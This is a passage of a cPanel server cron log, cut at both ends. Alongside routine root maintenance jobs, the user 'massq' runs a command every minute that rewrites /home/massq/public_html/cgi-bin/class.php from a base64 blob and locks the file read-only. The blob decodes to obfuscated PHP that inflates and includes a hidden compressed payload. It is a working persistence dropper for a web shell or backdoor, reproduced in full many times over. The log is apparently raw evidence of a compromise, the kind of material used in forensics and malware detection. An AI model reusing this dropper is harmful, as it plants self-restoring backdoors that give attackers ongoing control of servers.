"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:05:01 server CROND[27835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 06:06:01 server CROND[28047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:07:01 server CROND[28157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:08:01 server CROND[28203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:09:01 server CROND[28257]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 06:09:01 server CROND[28259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:10:01 server CROND[28316]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 06:10:01 server CROND[28317]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:10:01 server CROND[28318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:10:01 server CROND[28319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:11:01 server CROND[28420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:12:01 server CROND[28466]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 06:12:01 server CROND[28467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:13:01 server CROND[28620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:14:01 server CROND[28729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:15:01 server CROND[28780]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:15:01 server CROND[28782]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 06:15:01 server CROND[28783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:15:01 server CROND[28784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:15:01 server CROND[28785]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 11 06:16:01 server CROND[28921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:17:01 server CROND[28974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:18:01 server CROND[29038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0